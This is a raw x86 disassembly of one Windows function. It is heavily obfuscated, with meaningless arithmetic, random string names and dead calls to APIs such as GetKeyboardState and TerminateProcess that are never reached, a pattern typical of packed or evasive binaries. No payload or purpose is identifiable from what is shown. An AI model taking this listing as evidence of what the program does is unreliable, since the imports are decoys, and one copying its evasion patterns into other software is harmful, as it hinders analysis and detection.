push str.erbainzh_yjal_fsoqend_mlepy_jptc_hjajh_xodcuoz_nkrqdoi_ukhysv_riiu_qowuuctpj_bki_jtrdq
call fcn.004b7f67
pop ecx
or dword [ebp - 4], 0xffffffff
jmp 0x41c2ed
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x24], 0x2a41536c
mov dword [ebp - 0x1c], ebx
jmp 0x41c314
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xc4], 0xffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x41c303
mov dword [ebp - 0x1c], ebx
jmp 0x41c32f
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x2a0], 0xac84
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x41c31e
mov dword [ebp - 0x1c], ebx
jmp 0x41c34b
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x10c], 0xe9a07b30
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x41c33a
cmp dword [ebp - 0x20], ebx
je 0x41c359
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0xc4]
mov eax, dword [ebp - 0x18]
sub ecx, eax
mov eax, dword [ebp - 0x18]
xor edx, edx
cmp eax, ecx
setne dl
mov eax, dword [ebp - 0x29c]
sub edx, eax
mov esi, dword [ebp - 0x18]
sub esi, edx
neg esi
sbb esi, esi
inc esi
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp esi, eax
setne cl
mov eax, dword [ebp - 0xbc]
add ecx, eax
mov dword [ebp - 0x10c], ecx
mov eax, dword [ebp - 0xc4]
xor edx, edx
cmp ecx, eax
setle dl
mov eax, dword [ebp - 0x18]
sub eax, edx
mov dword [ebp - 0x2c], eax
je 0x41c444
cmp dword [ebp - 0xc4], ebx
je 0x41c444
mov dword [ebp - 0x28], ebx
push 4
lea ecx, [ebp - 0x16c]
call fcn.0040bdd2
mov dword [ebp - 0x40], 0xaf19195c
mov dword [ebp - 0x18], ebx
jmp 0x41c3ea
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x16c]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x41c3db
mov dword [ebp - 0x108], 0x70cc
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0xc4]
mov dword [ebp - 0x2c], edi
mov edx, dword [ebp - 0x16c]
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp eax, dword [edx + 4]
setle cl
imul eax, ecx, 0x65f5
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], 0xfff7
sbb eax, eax
neg eax
mov dword [ebp - 0x40], eax
lea ecx, [ebp - 0x16c]
call fcn.0040bea4
jmp 0x41c47f
mov dword [ebp - 0x24], ebx
jmp 0x41c470
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x41c46d
push 0x1053
push ebx
push 0x1a72
push 0x1444
push 0x8d5
call dword [sym.imp.GDI32.dll_TextOutA]
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xd
jle 0x41c449
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0x70], eax
push 3
pop esi
mov dword [ebp - 0x24], 0xffffffff
push edi
lea ecx, [ebp - 0xd8]
call fcn.0040bdd2
mov dword [ebp - 0x18], ebx
jmp 0x41c4b6
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xd8]
mov dword [eax + ecx*4], 0xf432
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x41c4a3
mov dword [ebp - 0x24], 8
cmp dword [ebp - 0x24], 0xfffffff8
je 0x41c5ba
mov eax, 0xe56f9b2c
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x30], 0xfa48a2b8
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x58], 0xffffffe7
cmp dword [ebp - 0x58], 0xfffffff8
jne 0x41c5ad
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x2c], 0xfffffff7
mov eax, dword [ebp - 0x58]
cmp dword [ebp - 0x20], ebx
jne 0x41c510
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x54]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x58]
sub edx, eax
mov eax, dword [ebp - 0x20]
xor ecx, ecx
cmp edx, eax
setge cl
xor eax, eax
cmp eax, ecx
sbb edx, edx
inc edx
sub edx, dword [ebp - 0x50]
xor ecx, ecx
mov eax, dword [ebp - 0xd8]
cmp edx, dword [eax]
setle cl
mov dword [ebp - 0x30], ecx
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x30]
xor edx, edx
cmp ecx, eax
setl dl
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0xd8]
cmp dword [eax], ebx
jne 0x41c596
mov eax, dword [ebp - 0x58]
xor ecx, ecx
cmp eax, edi
setl cl
mov edx, dword [ebp - 0x24]
imul edx, ecx
sub edx, dword [ebp - 0x58]
neg edx
sbb edx, edx
inc edx
mov eax, dword [ebp - 0x30]
sub eax, edx
imul ecx, eax, 0xfffa
mov eax, dword [ebp - 0xd8]
add ecx, dword [eax]
mov eax, dword [ebp - 0x2c]
sub ecx, eax
mov eax, ebx
je 0x41c598
mov eax, edi
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x58]
cmp dword [ebp - 0x58], 0xfffffff8
je 0x41c4f8
mov eax, 0xe56f9b2c
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xfffffff8
jne 0x41c4d1
lea ecx, [ebp - 0xd8]
call fcn.0040bea4
cmp dword [ebp - 0x38], 0
jne 0x41ca84
cmp dword [ebp - 0x98], 0
jle 0x41ca84
mov dword [ebp - 0x18], 0x110c93b4
mov dword [ebp - 0x28], 0x4ebb0cb8
mov dword [ebp - 0x28], 0xe31551da
mov dword [ebp - 0x28], 0x49cec79e
mov dword [ebp - 0x28], 0xc0bf90a2
mov dword [ebp - 0x28], 0xfffffffd
mov dword [ebp - 0x28], 2
mov dword [ebp - 0x28], 0xd0d658ed
mov dword [ebp - 0x28], 0xd2c87a75
mov dword [ebp - 0x28], 0x91509cf1
mov dword [ebp - 0x28], 0xffffffff
mov dword [ebp - 0x28], 0xbce008fb
mov dword [ebp - 0x28], 0xf592758e
mov dword [ebp - 0x28], 0xffffffff
push edi
lea ecx, [ebp - 0x1e0]
call fcn.0040bdd2
mov dword [ebp - 0x28], 0x8422
mov dword [ebp - 0x30], 0xc3efc167
mov dword [ebp - 0x18], ebx
jmp 0x41c670
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1e0]
mov dword [eax + ecx*4], 0x74da8628
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x41c65d
mov dword [ebp - 0x18], 0xffffffff
jmp 0x41c689
mov dword [ebp - 0x28], ebx
cmp dword [ebp - 0x28], ebx
jne 0x41c68f
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffffc
jle 0x41c67e
mov eax, dword [ebp - 0x30]
dec dword [ebp - 0x30]
mov dword [ebp - 0x28], edi
lea ecx, [ebp - 0x1e0]
call fcn.0040bea4
movdqa xmm0, xmmword [0xa98da0]
movdqu xmmword [ebp - 0x21c], xmm0
mov dword [ebp - 0xf8], ebx
mov dword [ebp - 0xf4], ebx
mov dword [ebp - 0xf0], ebx
push dword [ebp + 8]
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x21c]
push eax
push ebx
lea ecx, [ebp - 0xf8]
call fcn.0040ee26
movdqa xmm0, xmmword [0xa98e10]
movdqu xmmword [ebp - 0x22c], xmm0
mov dword [ebp - 0xe8], ebx
mov dword [ebp - 0xe4], ebx
mov dword [ebp - 0xe0], ebx
push dword [ebp + 8]
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x22c]
push eax
push ebx
lea ecx, [ebp - 0xe8]
call fcn.0040ee26
mov dword [ebp - 0x2c], 0xef6b8f3d
mov edx, dword [ebp - 0xe8]
mov dword [ebp - 0x28], edx
mov dword [edx + 8], ebx
inc dword [edx + 8]
cmp dword [edx + 8], esi
jle 0x41c734
mov dword [ebp - 0x2c], esi
cmp dword [ebp - 0x2c], ebx
jl 0x41c7d7
mov dword [ebp - 0xb8], ebx
mov dword [ebp - 0xb4], ebx
mov dword [ebp - 0xb0], ebx
mov dword [ebp - 0xac], ebx
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x41c77a
push ebx
push 0xb0f
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0xb8], esi
cmp dword [ebp - 0xb8], ebx
jl 0x41c7ce
mov dword [ebp - 0x18], 0xeefb6f65
mov dword [ebp - 0x18], ebx
jmp 0x41c7bc
mov dword [ebp - 0x20], 5
mov dword [ebp - 0x20], ebx
jmp 0x41c7b3
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xf8]
mov dword [eax + ecx*4], 0x3d18
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x41c7a0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jle 0x41c794
cmp dword [edx + 8], ebx
jne 0x41c7ce
dec dword [ebp - 0xb8]
jns 0x41c788
dec dword [ebp - 0x2c]
jns 0x41c748
lea ecx, [ebp - 0xe8]
call fcn.0040bea4
lea ecx, [ebp - 0xf8]
call fcn.0040bea4
mov dword [ebp - 0x20], 0xfebaeef2
mov dword [ebp - 0x18], ebx
jmp 0x41c80a
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x290], 0x5711
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x41c7f9
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], esi
jg 0x41c936
mov dword [ebp - 0x1c], 0x2835
cmp dword [ebp - 0x1c], 0x2b82
jle 0x41c8bf
push ebx
push 0x11b3
push ebx
call dword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
mov ecx, ebx
mov dword [ebp - 0x18], ebx
mov eax, ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], 0x2296
mov esi, ebx
add eax, esi
or eax, ecx
cdq
push edx
push eax
lea ecx, [ebp - 0x30c]
call fcn.004019d8
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x41c86f
mov eax, dword [eax]
push eax
call fcn.004b7f67
pop ecx
push ebx
push edi
lea ecx, [ebp - 0x30c]
call fcn.0040c380
inc esi
cmp esi, 0x6e7a
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x30]
jl 0x41c853
dec eax
mov dword [ebp - 0x30], eax
dec dword [ebp - 0x2c]
jne 0x41c851
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp eax, 0x404a
jl 0x41c847
inc ecx
mov dword [ebp - 0x18], ecx
cmp ecx, 0x5abb
jl 0x41c842
push 3
pop esi
push ebx
call dword [sym.imp.USER32.dll_GetKeyboardState]
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x41c8d5
push ebx
push 0x25f5
push ebx
call dword [sym.imp.GDI32.dll_GetBitmapBits]
mov dword [ebp - 4], 6
cmp dword [ebp - 0x1c], 0x2684
jge 0x41c8f0
push str.shktf_jydj_xvm_tiuvukvlh_cmvmlg_ywspnnbl_otqfmf_uqwzcbwop_hqjmalyod
call fcn.004b7f67
pop ecx
or dword [ebp - 4], 0xffffffff
jmp 0x41c922
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0x290], ebx
jne 0x41c936
inc dword [ebp - 0x20]
jmp 0x41c813
mov ecx, dword [ebp - 0x94]
test ecx, ecx
je 0x41ca84
cmp dword [ebp - 0x98], 0
je 0x41ca84
call fcn.0041b0a8
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x1c], 0x4e2db58
mov dword [ebp - 0x30], 0xfffffffd
mov dword [ebp - 0x1c], 0xffffffe2
jmp 0x41ca6c
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x24], ebx
jmp 0x41ca50
mov dword [ebp - 0x34], 0x898f01ba
mov dword [ebp - 0x28], edi
movdqa xmm0, xmmword [0xa98d80]
movdqu xmmword [ebp - 0x25c], xmm0
mov dword [ebp - 0xa4], ebx
mov dword [ebp - 0xa0], ebx
mov dword [ebp - 0x9c], ebx
push dword [ebp + 8]
lea eax, [ebp - 0x24c]
push eax
lea eax, [ebp - 0x25c]
push eax
push ebx
lea ecx, [ebp - 0xa4]
call fcn.0040ee26
mov dword [ebp - 0x40], 0xe3268dd2
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x24]
xor edx, edx
cmp eax, 0xfff9
setne dl
sub edx, dword [ebp - 0x30]
neg edx
sbb edx, edx
inc edx
xor ecx, ecx
cmp edx, 0xadc
setl cl
mov eax, dword [ebp - 0x34]
xor edx, edx
cmp ecx, eax
setle dl
xor ecx, ecx
mov eax, dword [ebp - 0xa4]
cmp edx, dword [eax]
setle cl
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x24]
xor ecx, ecx
cmp dword [ebp - 0x28], eax
setge cl
xor eax, eax
cmp ecx, 0xdb5a
setne al
sub eax, dword [ebp - 0x1c]
neg eax
sbb eax, eax
inc eax
imul eax, dword [ebp - 0x34]
mov dword [ebp - 0x40], eax
lea ecx, [ebp - 0xa4]
call fcn.0040bea4
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xfffffff2
jl 0x41c97e
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x41ca69
call dword [sym.imp.KERNEL32.dll_GetACP]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffff0
jle 0x41c973
lea eax, [ebp - 0x48]
push eax
call fcn.0041cf9b
mov ecx, dword [ebp - 0x38]
mov dword [eax], ecx
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 0x20], 0x41bb
mov dword [ebp - 0x18], ebx
jmp 0x41caa4
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x154], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x41ca97
mov dword [ebp - 0x24], edi
cmp dword [ebp - 0x24], ebx
jl 0x41cbc8
mov dword [ebp - 0x1c], 0x9cc25fa
mov dword [ebp - 0x18], ebx
jmp 0x41cad0
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x4c], 0x5e5316d
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x41cac2
mov dword [ebp - 0x1c], 0x8a6b950b
cmp dword [ebp - 0x1c], ebx
je 0x41cb9a
mov dword [ebp - 0x28], 0x3817d1dc
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x1c], ebx
jmp 0x41cb2b
mov dword [ebp - 0x18], ebx
jmp 0x41cb06
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x268], edi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x41caf9
cmp dword [ebp - 0x28], ebx
je 0x41cb13
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x150]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x260], eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jle 0x41caf4
cmp dword [ebp - 0x24], ebx
je 0x41cb92
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
push 0xfffffffffffffff6
pop ecx
cmp ecx, eax
sbb eax, eax
neg eax
mov ecx, 0x896e
sub ecx, eax
neg ecx
sbb ecx, ecx
neg ecx
mov eax, dword [ebp - 0x154]
xor edx, edx
cmp ecx, eax
setg dl
mov eax, dword [ebp - 0x20]
sub edx, eax
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x1c]
xor edx, edx
cmp dword [ebp - 0x28], eax
setg dl
mov eax, dword [ebp - 0x4c]
xor ecx, ecx
cmp edx, eax
setge cl
cmp ecx, dword [ebp - 0x4c]
jge 0x41cb8f
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x4c], eax
jmp 0x41cbbf
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x41cbaa
push ebx
call dword [sym.imp.KERNEL32.dll_InitializeSListHead]
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x41cbbf
push 0xff2
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
dec dword [ebp - 0x24]
jns 0x41cab6
mov dword [ebp - 0x20], ebx
jmp 0x41cbe9
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x41cbdd
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileType]
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
jne 0x41cc20
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jle 0x41cbcd
lea ecx, [ebp - 0x98]
call fcn.0041a889
cmp dword [ebp - 0x3c], 0
jne 0x41cd62
cmp dword [ebp - 0x38], 0
je 0x41cd62
mov dword [ebp - 0x18], 0x3ae35568
mov dword [ebp - 0x28], 0xfffffff7
mov dword [ebp - 0x18], ebx
jmp 0x41cc34
push ebx
call dword [sym.imp.KERNEL32.dll_ExitThread]
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x2ac], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x41cc27
mov dword [ebp - 0x18], ebx
jmp 0x41ccd3
push esi
lea ecx, [ebp - 0x178]
call fcn.0040bdd2
mov dword [ebp - 0x28], 0xa1c3d076
push edi
lea ecx, [ebp - 0x1d0]
call fcn.0040bdd2
mov dword [ebp - 0x28], 0x446f
mov dword [ebp - 0x24], ebx
jmp 0x41cc7b
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x178]
mov dword [eax + ecx*4], edi
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x41cc6c
mov dword [ebp - 0x24], ebx
jmp 0x41cc98
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1d0]
mov dword [eax + ecx*4], 0xcc545e21
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x41cc85
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x41ccae
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
mov eax, dword [ebp - 0x178]
mov dword [eax], 0xfffffff3
lea ecx, [ebp - 0x1d0]
call fcn.0040bea4
lea ecx, [ebp - 0x178]
call fcn.0040bea4
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xe
jge 0x41cc41
push dword [ebp - 0x44]
push dword [ebp - 0x38]
call fcn.0047160e
pop ecx
pop ecx
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x18], 0xd6c05baf
mov dword [ebp - 0x18], ebx
jmp 0x41cd07
mov ecx, dword [ebp - 0x18]
mov dword [ebp + ecx*4 - 0x64], 2
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x41ccf9
mov dword [ebp - 0x18], ebx
jmp 0x41cd4e
mov dword [ebp - 0x20], 0x248c66f5
mov dword [ebp - 0x20], ebx
jmp 0x41cd46
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp + eax*4 - 0x64]
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x64], ecx
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x41cd43
push ebx
push ebx
push 0x1b32
push ebx
push ebx
call dword [sym.imp.USER32.dll_DialogBoxParamA]
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jle 0x41cd1d
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffffd
jle 0x41cd11
lea eax, [ebp - 0x6c]
push eax
call fcn.0041cf39
mov ecx, dword [ebp - 0x78]
mov dword [eax], ecx
mov dword [ebp - 0x20], 8
mov dword [ebp - 0x38], 0x2ba29f58
mov dword [ebp - 0x28], 0x3925
push edi
lea ecx, [ebp - 0x190]
call fcn.0040bdd2
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x1c], ebx
jmp 0x41cd9c
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x280], 0xffffffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x41cd8b
mov dword [ebp - 0x1c], ebx
jmp 0x41cdb4
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x60], 0xfffffffd
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x41cda6
mov dword [ebp - 0x1c], ebx
jmp 0x41cdd1
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x190]
mov dword [eax + ecx*4], 0x4015e1b4
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x41cdbe
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x41cdf6
push ebx
push ebx
push 0x5a2
push 0x347
push 0x2258
call dword [sym.imp.USER32.dll_SendDlgItemMessageA]
mov dword [ebp - 0x20], ebx
push 2
pop esi
jmp 0x41cf09
mov dword [ebp - 0x18], 0x32bb11ac
mov dword [ebp - 0x3c], 0xd0374c7a
mov dword [ebp - 0x44], 4
mov dword [ebp - 0x18], ebx
jmp 0x41ce2c
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1c4], 0x7b79f6a7
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x41ce1b
mov dword [ebp - 0x18], ebx
jmp 0x41cefd
mov dword [ebp - 0x44], 0x1865
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x2c], 0x761ac7eb
inc dword [ebp - 0x38]
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
xor edx, edx
cmp ecx, eax
setl dl
mov eax, dword [ebp - 0x38]
xor ecx, ecx
cmp edx, eax
setle cl
cmp ecx, dword [ebp - 0x3c]
jge 0x41ce75
cmp dword [ebp - 0x44], ebx
je 0x41ce75
cmp dword [ebp - 0x60], ebx
mov eax, edi
jne 0x41ce77
mov eax, ebx
imul eax, eax, 0xffff
sub eax, dword [ebp - 0x34]
neg eax
sbb eax, eax
inc eax
sub eax, dword [ebp - 0x2c]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x280]
mov eax, dword [ebp - 0x34]
xor edx, edx
cmp eax, edi
setge dl
mov eax, dword [ebp - 0x28]
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x34], ecx
mov eax, dword [ebp - 0x2c]
mov edx, 0xbec7a429
sub edx, eax
add edx, dword [ebp - 0x34]
imul edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x44]
xor ecx, ecx
cmp edx, eax
setg cl
add ecx, 0xfffffffc
mov eax, dword [ebp - 0x190]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1c4]
imul eax, ecx
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x38]
jg 0x41cef5
cmp dword [ebp - 0x38], ebx
mov eax, ebx
je 0x41cef7
mov eax, edi
mov dword [ebp - 0x40], eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jle 0x41ce39
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jle 0x41ce01
lea ecx, [ebp - 0x190]
call fcn.0040bea4
mov eax, dword [ebp + 8]
mov edi, eax
lea esi, [ebp - 0x78]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret